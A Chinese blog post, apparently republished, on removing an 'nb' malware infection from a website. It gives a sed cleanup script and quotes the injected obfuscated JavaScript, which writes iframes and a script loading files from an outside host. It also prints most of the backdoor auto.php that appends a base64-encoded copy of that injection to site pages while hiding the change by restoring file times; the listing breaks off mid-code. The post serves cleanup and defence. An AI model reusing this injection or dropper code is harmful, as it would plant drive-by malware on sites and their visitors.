首页 > 网站 > 建站经验 > 正文

用shell命令删除网站最新nb挂马的方法与代码

2019-11-02 16:26:03
字体:
来源:转载
供稿:网友
复制代码 代码如下:

# <script language="javascript" type="text/javascript">

# if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()

# eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'//w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('5.l(/'<h f=b i=8://m.n.6.4/a/j.d></h><9 7=0 k=1 i="8://m.n.6.4/a/e.c?2"></9><9 7=0 k=1 i="8://m.n.6.4/a/g.c?3"></9>/')',62,24,'|100|YNE|ZGH|cn|document|gov|height|http|iframe|images|javascript|jpg|js|kiss|language|miss|script|src|ubb|width|writeln|www|xcrsrc'.split('|'),0,{}));}

# </script>

确实很让人头痛,还是编写shell 脚本把这些脚本去掉

复制代码 代码如下:

#!/bin/sh

ls $1/*.htm | while read file

do

sed -i -e "/if(document.cookie.indexOf('helio'/d; /eval(function(p,a,c,k,e,d)/d;" $file

done

但是第二天还是有

最后偶然发现 网站中有个auto.php 文件比较可疑

查看下内容,果然是木马的根源

下面是其内容,希望对大家有所帮助

复制代码 代码如下:

<?php

error_reporting(E_ERROR);

set_time_limit(0);

function CheckPath($path)

{

return str_replace('//','/',str_replace('//','/',$path));

}

function AutoRead($filename)

{

$handle = @fopen($filename,"rb");

$filecode = @fread($handle,@filesize($filename));

@fclose($handle);

return $filecode;

}

function AutoWrite($filename, $filecode ,$filemode)

{

$time = @filemtime($filename);

$handle = @fopen($filename,$filemode);

$key = @fwrite($handle,"/r/n".$filecode."/r/n");

if(!$key)

{

@chmod($filename,0666);

$key = @fwrite($handle,"/r/n".$filecode."/r/n");

}

@fclose($handle);

@touch($filename,$time);

return $key ? true : false;

}

function make_pass($length)

{

$possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

$str = "";

while(strlen($str) < $length)

{

$str .= substr($possible,(rand() % strlen($possible)),1);

}

return $str;

}

function AutoRun($dir)

{

$spider = @opendir($dir);

while($file = @readdir($spider))

{

if($file == '.' || $file == '..' || $file == 'a' || $file == 'images' || $file == 'uploads' || $file == 'special' || $file == 'data' || $file == 'include' || $file == 'member' || $file == 'templets' || $file == 'install') continue;

$code = base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmlmKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCdoZWxpbycpPT0tMSl7dmFyIGV4cGlyZXM9bmV3IERhdGUoKTtleHBpcmVzLnNldFRpbWUoZXhwaXJlcy5nZXRUaW1lKCkrMSo2MCo2MCoxMDAwKTtkb2N1bWVudC5jb29raWU9J2hlbGlvPVllcztwYXRoPS87ZXhwaXJlcz0nK2V4cGlyZXMudG9HTVRTdHJpbmcoKQ0KZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKWRbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCc1LmwoXCc8aCBmPWIgaT04Oi8vbS5uLjYuNC9hL2ouZD48L2g+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2UuYz8yIj48Lzk+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2cuYz8zIj48Lzk+XCcpJyw2MiwyNCwnfDEwMHw=');
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表